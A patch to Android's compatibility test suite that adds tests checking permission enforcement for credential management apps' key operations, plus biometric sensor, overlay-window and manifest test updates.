diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
new file mode 100644
index 0000000..ce3cc3f
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -0,0 +1,349 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.INSTALLKEY_SET_USER_SELECTABLE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Process;
+import android.platform.test.annotations.Postsubmit;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.AttestedKeyPair;
+import android.security.KeyChain;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.FakeKeys;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.KeyPair;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CredentialManagementAppTest {
+
+    private static final String TAG = "KeyPairManagementTest";
+
+    private static final PrivateKey PRIVATE_KEY =
+            getPrivateKey(FakeKeys.FAKE_RSA_1.privateKey, "RSA");
+    private static final Certificate CERTIFICATE =
+            getCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
+    private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
+    private static final long KEYCHAIN_WAIT_TIME_MS = TimeUnit.MINUTES.toMillis(1);
+
+    private static final Context CONTEXT = ApplicationProvider.getApplicationContext();
+    private static final String MANAGE_CREDENTIALS = "android:manage_credentials";
+
+    private static final String ALIAS = "com.android.test.rsa";
+    private static final String NOT_IN_USER_POLICY_ALIAS = "anotherAlias";
+    private final static String PACKAGE_NAME = CONTEXT.getPackageName();
+    private final static Uri URI = Uri.parse("https://test.com");
+    private final static AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
+            new AppUriAuthenticationPolicy.Builder()
+                    .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                    .build();
+
+    private final static String MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION =
+            "android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP";
+
+    private final DevicePolicyManager mDpm = CONTEXT.getSystemService(DevicePolicyManager.class);
+    private final int mUserId = Process.myUserHandle().getIdentifier();
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        ALIAS, /* flags = */ 0));
+    }
+
+    @Postsubmit
+    @Test
+    public void removeKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.removeKeyPair(/* admin = */ null, ALIAS));
+    }
+
+    @Postsubmit
+    @Test
+    public void generateKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.generateKeyPair(/* admin = */ null, "RSA",
+                        buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+                        /* idAttestationFlags = */ 0));
+    }
+
+    @Postsubmit
+    @Test
+    public void setKeyPairCertificate_withoutManageCredentialAppOp_throwsException()
+            throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS,
+                        Arrays.asList(CERTIFICATE), /* isUserSelectable = */ false));
+    }
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_isUserSelectableFlagSet_throwsException() throws Exception {
+        setCredentialManagementApp();
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        ALIAS, /* flags = */ INSTALLKEY_SET_USER_SELECTABLE));
+    }
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() throws Exception {
+        setCredentialManagementApp();
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        NOT_IN_USER_POLICY_ALIAS, /* flags = */ 0));
+    }
+
+    @Postsubmit
+    @Test
+    public void installKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            assertThat(mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                    ALIAS, 0)).isTrue();
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void removeKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES, ALIAS, 0);
+        } finally {
+            // Remove keypair as credential management app
+            assertThat(mDpm.removeKeyPair(/* admin = */ null, ALIAS)).isTrue();
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void generateKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Generate keypair as credential management app
+            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "RSA",
+                    buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+                    /* idAttestationFlags = */ 0);
+
+            assertThat(generated).isNotNull();
+            verifySignatureOverData("SHA256withRSA", generated.getKeyPair());
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void setKeyPairCertificate_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Generate keypair and aet keypair certificate as credential management app
+            KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(ALIAS,
+                    KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY).setDigests(
+                    KeyProperties.DIGEST_SHA256).build();
+            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "EC", spec, 0);
+            List<Certificate> certificates = Arrays.asList(CERTIFICATE);
+            mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS, certificates, false);
+
+            // Make sure certificates can be retrieved from KeyChain
+            Certificate[] fetchedCerts = KeyChain.getCertificateChain(CONTEXT, ALIAS);
+
+            assertThat(generated).isNotNull();
+            assertThat(fetchedCerts).isNotNull();
+            assertThat(fetchedCerts.length).isEqualTo(certificates.size());
+            assertThat(fetchedCerts[0].getEncoded()).isEqualTo(certificates.get(0).getEncoded());
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit
+    @Test
+    public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            mDpm.installKeyPair(null, PRIVATE_KEY, new Certificate[]{CERTIFICATE}, ALIAS, 0);
+
+            // Start activity that will call KeyChain.choosePrivateKeyAlias to verify the
+            // credential management app is able to select which alias should be used given
+            // an app package name and URI.
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(CONTEXT, AppUriAuthenticationActivity.class));
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            CONTEXT.startActivity(intent);
+            String setAlias = (String) CustomEvent.queryPackage(CONTEXT.getPackageName())
+                    .withTag("credentialManagementAppAliasFetched").pollOrFail().data();
+            assertThat(setAlias).isEqualTo(ALIAS);
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    // TODO (b/174677062): Move this into infrastructure
+    private void setCredentialManagementApp() throws Exception {
+        UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+            assertTrue("Unable to set credential management app",
+                    KeyChain.setCredentialManagementApp(CONTEXT, PACKAGE_NAME,
+                            AUTHENTICATION_POLICY));
+        } finally {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ true, mUserId);
+        assertTrue("CredentialManagementApp should have app op MANAGE_CREDENTIALS",
+                isCredentialManagementApp());
+    }
+
+    // TODO (b/174677062): Move this into infrastructure
+    private void removeCredentialManagementApp() throws Exception {
+        UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+            assertTrue("Unable to remove credential management app",
+                    KeyChain.removeCredentialManagementApp(CONTEXT));
+        } finally {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+    }
+
+    private void setManageCredentialsAppOps(String packageName, boolean allowed, int userId)
+            throws Exception {
+        String command = "appops set --user " + userId + " " + packageName + " " +
+                "MANAGE_CREDENTIALS " + (allowed ? "allow" : "default");
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+    }
+
+    void verifySignature(String algoIdentifier, PublicKey publicKey, byte[] signature)
+            throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature verify = Signature.getInstance(algoIdentifier);
+        verify.initVerify(publicKey);
+        verify.update(data);
+        assertThat(verify.verify(signature)).isTrue();
+    }
+
+    private void verifySignatureOverData(String algoIdentifier, KeyPair keyPair) throws Exception {
+        verifySignature(algoIdentifier, keyPair.getPublic(),
+                signDataWithKey(algoIdentifier, keyPair.getPrivate()));
+    }
+
+    private byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature sign = Signature.getInstance(algoIdentifier);
+        sign.initSign(privateKey);
+        sign.update(data);
+        return sign.sign();
+    }
+
+    private static PrivateKey getPrivateKey(final byte[] key, String type) {
+        try {
+            return KeyFactory.getInstance(type).generatePrivate(
+                    new PKCS8EncodedKeySpec(key));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
+
+    private static Certificate getCertificate(byte[] cert) {
+        try {
+            return CertificateFactory.getInstance("X.509").generateCertificate(
+                    new ByteArrayInputStream(cert));
+        } catch (CertificateException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
+
+    private boolean isCredentialManagementApp() {
+        AppOpsManager appOpsManager = CONTEXT.getSystemService(AppOpsManager.class);
+        return appOpsManager.unsafeCheckOpNoThrow(MANAGE_CREDENTIALS,
+                Binder.getCallingUid(), CONTEXT.getPackageName()) == AppOpsManager.MODE_ALLOWED;
+    }
+
+    private KeyGenParameterSpec buildRsaKeySpec(String alias, boolean useStrongBox) {
+        return new KeyGenParameterSpec.Builder(
+                alias,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                .setKeySize(2048)
+                .setDigests(KeyProperties.DIGEST_SHA256)
+                .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+                        KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+                .setIsStrongBoxBacked(useStrongBox)
+                .build();
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
index ddc79c1..49c5291 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
@@ -17,8 +17,8 @@
 package android.server.biometrics;
 
 import static android.os.PowerManager.FULL_WAKE_LOCK;
-import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
 import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_ACTIVITY;
+import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
 import static android.server.biometrics.SensorStates.SensorState;
 import static android.server.biometrics.SensorStates.UserState;
 
@@ -59,6 +59,7 @@
 import androidx.annotation.Nullable;
 
 import com.android.server.biometrics.nano.BiometricServiceStateProto;
+import com.android.server.biometrics.nano.SensorStateProto;
 
 import org.junit.After;
 import org.junit.Before;
@@ -240,6 +241,20 @@
         }
     }
 
+    @Test
+    public void testPackageManagerAndDumpsysMatch() throws Exception {
+        final BiometricServiceState state = getCurrentState();
+
+        final PackageManager pm = mContext.getPackageManager();
+
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT),
+                state.mSensorStates.containsModality(SensorStateProto.FINGERPRINT));
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FACE),
+                state.mSensorStates.containsModality(SensorStateProto.FACE));
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_IRIS),
+                state.mSensorStates.containsModality(SensorStateProto.IRIS));
+    }
+
     private void enrollForSensor(@NonNull BiometricTestSession session, int sensorId)
             throws Exception {
         Log.d(TAG, "Enrolling for sensor: " + sensorId);
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
index dd17615..6887744 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
@@ -43,10 +43,12 @@
 
     public static class SensorState {
         private final boolean mIsBusy;
+        private final int mModality;
         @NonNull private final SparseArray<UserState> mUserStates;
 
-        public SensorState(boolean isBusy, @NonNull SparseArray<UserState> userStates) {
+        public SensorState(boolean isBusy, int modality, @NonNull SparseArray<UserState> userStates) {
             this.mIsBusy = isBusy;
+            this.mModality = modality;
             this.mUserStates = userStates;
         }
 
@@ -54,6 +56,10 @@
             return mIsBusy;
         }
 
+        public int getModality() {
+            return mModality;
+        }
+
         @NonNull public SparseArray<UserState> getUserStates() {
             return mUserStates;
         }
@@ -77,7 +83,8 @@
                 userStates.put(userStateProto.userId, new UserState(userStateProto.numEnrolled));
             }
 
-            final SensorState sensorState = new SensorState(sensorStateProto.isBusy, userStates);
+            final SensorState sensorState = new SensorState(sensorStateProto.isBusy,
+                    sensorStateProto.modality, userStates);
             sensorStates.put(sensorStateProto.sensorId, sensorState);
         }
 
@@ -115,6 +122,15 @@
         return true;
     }
 
+    public boolean containsModality(int modality) {
+        for (int i = 0; i < sensorStates.size(); i++) {
+            if (sensorStates.valueAt(i).getModality() == modality) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     private SensorStates(@NonNull SparseArray<SensorState> sensorStates) {
         this.sensorStates = sensorStates;
     }
diff --git a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
index fb442ce..adac3b6 100644
--- a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
+++ b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
@@ -48,7 +48,7 @@
     public void setUp() {
         final Context context = InstrumentationRegistry.getContext();
         mTestIntent = PendingIntent.getActivity(context, 0 /* requestCode */,
-                new Intent(), 0 /* flags */);
+                new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
         mIcon = Icon.createWithBitmap(Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888));
     }
 
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index b542460..4a59813 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -176,9 +176,15 @@
              android:resizeableActivity="true"
              android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
 
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemWindowActivity"
+                  android:process=":swa"
+                  android:exported="true"/>
         <activity android:name="android.server.wm.HideOverlayWindowsTest$InternalSystemWindowActivity"
                   android:process=":iswa"
                   android:exported="true"/>
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemApplicationOverlayActivity"
+                  android:process=":saoa"
+                  android:exported="true"/>
 
         <activity android:name="android.server.wm.KeyguardLockedTests$ShowImeAfterLockscreenActivity"/>
 
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 999d23b..d232d33 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
     <uses-permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"/>
 
-    <application>
+    <application android:debuggable="true">
         <activity android:name=".TestActivity"
              android:resizeableActivity="true"
              android:supportsPictureInPicture="true"
diff --git a/tests/framework/base/windowmanager/app27/AndroidManifest.xml b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
index 66da0e6..47ec0fe 100755
--- a/tests/framework/base/windowmanager/app27/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
@@ -18,7 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.server.wm.app27">
 
-    <application android:label="App27">
+    <application android:label="App27"
+                 android:debuggable="true">
         <activity android:name="android.server.wm.app.LaunchingActivity"
                   android:resizeableActivity="true"
                   android:supportsPictureInPicture="true"
diff --git a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
index 0446e1c..54c3d27 100644
--- a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="android.server.wm.shareuid.a"
           android:sharedUserId="android.server.wm.shareuid">
 
-    <application>
+    <application android:debuggable="true">
         <activity
             android:name=".TestActivityWithSameAffinity"
             android:exported="true"
diff --git a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
index 8586006..e7e6dec 100644
--- a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="android.server.wm.shareuid.b"
           android:sharedUserId="android.server.wm.shareuid">
 
-    <application>
+    <application android:debuggable="true">
         <activity
             android:name=".TestActivityWithSameAffinityShareUid"
             android:exported="true"
diff --git a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
index 27d613f..c926a97 100644
--- a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.server.wm.second">
 
-    <application>
+    <application android:debuggable="true">
         <activity
             android:name=".EmbeddingActivity"
             android:resizeableActivity="true"
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 0c3fdd5..7d82289 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -835,8 +835,17 @@
         // Set initial orientation.
         rotationSession.set(orientation);
 
+        // Launch a fullscreen activity first to make it behind the split-screen tasks (in
+        // WINDOWING_MODE_MULTI_WINDOW) that created below to avoid any other visible activities
+        // (e.g Launcher) affects the rotation tests.
+        // TODO(b/177166639): Making activities behind the splits invisible from TaskOrg.
+        getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY)
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+
         // Launch activities that request orientations and check that device doesn't rotate.
-        launchActivitiesInSplitScreen(
+        launchActivitiesInLegacySplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(activity).setMultipleTask(true));
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
index 804c416..268b7ae 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
@@ -56,6 +56,8 @@
 @Presubmit
 public class HideOverlayWindowsTest extends ActivityManagerTestBase {
 
+    private final static String WINDOW_NAME_EXTRA = "window_name";
+    private final static String SYSTEM_APPLICATION_OVERLAY_EXTRA = "system_application_overlay";
     private PongReceiver mPongReceiver;
 
     @Before
@@ -75,12 +77,34 @@
     public void testApplicationOverlayHiddenWhenRequested() {
         String windowName = "SYSTEM_ALERT_WINDOW";
         ComponentName componentName = new ComponentName(
-                mContext, HideOverlayWindowsTest.InternalSystemWindowActivity.class);
+                mContext, SystemWindowActivity.class);
 
         SystemUtil.runWithShellPermissionIdentity(() -> {
             launchActivity(componentName,
-                    CliIntentExtra.extraString(InternalSystemWindowActivity.WINDOW_NAME,
-                            windowName));
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+        setHideOverlayWindowsAndWaitForPong(false);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlayFlagNoEffectWithoutPermission() {
+        String windowName = "SYSTEM_ALERT_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+                    CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
             mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
         }, Manifest.permission.SYSTEM_ALERT_WINDOW);
 
@@ -98,12 +122,11 @@
     public void testInternalSystemApplicationOverlaysNotHidden() {
         String windowName = "INTERNAL_SYSTEM_WINDOW";
         ComponentName componentName = new ComponentName(
-                mContext, HideOverlayWindowsTest.InternalSystemWindowActivity.class);
+                mContext, InternalSystemWindowActivity.class);
 
         SystemUtil.runWithShellPermissionIdentity(() -> {
             launchActivity(componentName,
-                    CliIntentExtra.extraString(InternalSystemWindowActivity.WINDOW_NAME,
-                            windowName));
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
             mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
         }, Manifest.permission.INTERNAL_SYSTEM_WINDOW);
 
@@ -112,6 +135,39 @@
         mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
     }
 
+    @Test
+    public void testSystemApplicationOverlaysNotHidden() {
+        String windowName = "SYSTEM_APPLICATION_OVERLAY";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemApplicationOverlayActivity.class);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+                    CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlayHiddenWithoutFlag() {
+        String windowName = "SYSTEM_APPLICATION_OVERLAY";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemApplicationOverlayActivity.class);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+    }
+
     void setHideOverlayWindowsAndWaitForPong(boolean hide) {
         Intent intent = new Intent(ACTION);
         intent.putExtra(Components.HideOverlayWindowsActivity.SHOULD_HIDE, hide);
@@ -119,16 +175,14 @@
         mPongReceiver.waitForPong();
     }
 
-    public static class InternalSystemWindowActivity extends Activity {
-
-        final static String WINDOW_NAME = "window_name";
+    public static class BaseSystemWindowActivity extends Activity {
 
         TextView mTextView;
 
         @Override
         protected void onCreate(@Nullable Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            String windowName = getIntent().getStringExtra(WINDOW_NAME);
+            String windowName = getIntent().getStringExtra(WINDOW_NAME_EXTRA);
 
             final Point size = new Point();
             getDisplay().getRealSize(size);
@@ -144,7 +198,11 @@
             mTextView.setText(windowName + "   type=" + TYPE_APPLICATION_OVERLAY);
             mTextView.setBackgroundColor(Color.GREEN);
 
-            getSystemService(WindowManager.class).addView(mTextView, params);
+            if (getIntent().getBooleanExtra(SYSTEM_APPLICATION_OVERLAY_EXTRA, false)) {
+                params.privateFlags |=
+                        WindowManager.LayoutParams.SYSTEM_FLAG_SYSTEM_APPLICATION_OVERLAY;
+            }
+            getWindowManager().addView(mTextView, params);
         }
 
         @Override
@@ -154,6 +212,14 @@
         }
     }
 
+    // These activities are running the same code, but in different processes to ensure that they
+    // each create their own WindowSession, using the correct permissions. If they are run in the
+    // same process WindowSession is cached and might end up not matching the permissions set up
+    // with adoptShellPermissions
+    public static class InternalSystemWindowActivity extends BaseSystemWindowActivity {}
+    public static class SystemApplicationOverlayActivity extends BaseSystemWindowActivity {}
+    public static class SystemWindowActivity extends BaseSystemWindowActivity {}
+
     private static class PongReceiver extends BroadcastReceiver {
 
         volatile ConditionVariable mConditionVariable = new ConditionVariable();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index 7789804..70dfb50 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -112,10 +112,10 @@
             launchActivity(BOTTOM_RIGHT_LAYOUT_ACTIVITY, WINDOWING_MODE_FREEFORM);
             resizeActivityTask(BOTTOM_RIGHT_LAYOUT_ACTIVITY, 0, 0, 1, 1);
         } else { // stackId == DOCKED_STACK_ID
-            launchActivitiesInLegacySplitScreen(
+            launchActivitiesInSplitScreen(
                     getLaunchActivityBuilder().setTargetActivity(BOTTOM_RIGHT_LAYOUT_ACTIVITY),
                     getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-            resizePrimarySplitScreen(1, 1, 1, 1);
+            mTaskOrganizer.setRootPrimaryTaskBounds(new Rect(0, 0, 1, 1));
         }
